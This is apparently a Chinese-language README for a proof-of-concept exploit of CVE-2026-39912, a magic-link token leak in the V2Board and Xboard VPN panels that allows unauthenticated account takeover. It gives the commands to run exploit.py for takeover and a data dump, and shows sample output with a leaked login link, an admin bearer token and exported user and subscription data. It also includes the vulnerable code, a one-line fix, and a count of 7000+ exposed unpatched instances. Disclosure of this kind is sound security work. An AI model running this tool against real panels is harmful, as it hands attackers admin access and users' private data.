loginWithMailLink 中的魔法链接令牌泄露
| CVE | CVE-2026-39912 |
| CVSS | 9.1 (严重) |
| CWE | CWE-201 (敏感信息嵌入已发送数据) |
| 影响版本 | V2Board >= 1.6.1 至 1.7.4 / Xboard 所有版本至 0.1.9+ |
| 已修复 | 尚未 (V2Board 自 2023 年 6 月起已停止维护) |
| 披露日期 | 2026-04-09 |
| 发现者 | Valentin Lobstein (Chocapikk) |
| 报告文章 | chocapikk.com |
| 修复PR | V2Board #981 / Xboard #873 |
loginWithMailLink 端点将魔法登录链接直接返回在 HTTP 响应体中,而不是仅仅通过邮件发送。一个知道已注册邮箱的未认证攻击者可以通过两次 HTTP 请求接管任何账户——包括管理员。
两者都是广泛部署的 VPN/代理面板,主要在中国使用。ZoomEye 显示互联网上暴露了 7000+ 个实例。
login_with_mail_link_enable(默认未启用)# 安装依赖
pip install requests
# 账户接管 + 数据导出
python3 exploit.py http://target:7001 [email protected]
# 将导出的数据保存到文件
python3 exploit.py http://target:7001 [email protected] -o dump.json
$ python3 exploit.py http://target:7001 [email protected]
Xboard / V2Board - Unauth Account Takeover
Magic Link Token Leak (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min from git clone to is_admin: true
[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "[email protected]",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
V2Board (app/Http/Controllers/Passport/AuthController.php):
SendEmailJob::dispatch([...]);
return response([
'data' => $link // 令牌泄露给调用方
]);
Xboard (app/Services/Auth/MailLinkService.php):
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // 相同漏洞,继承自原分支
- return [true, $link];
+ return [true, true];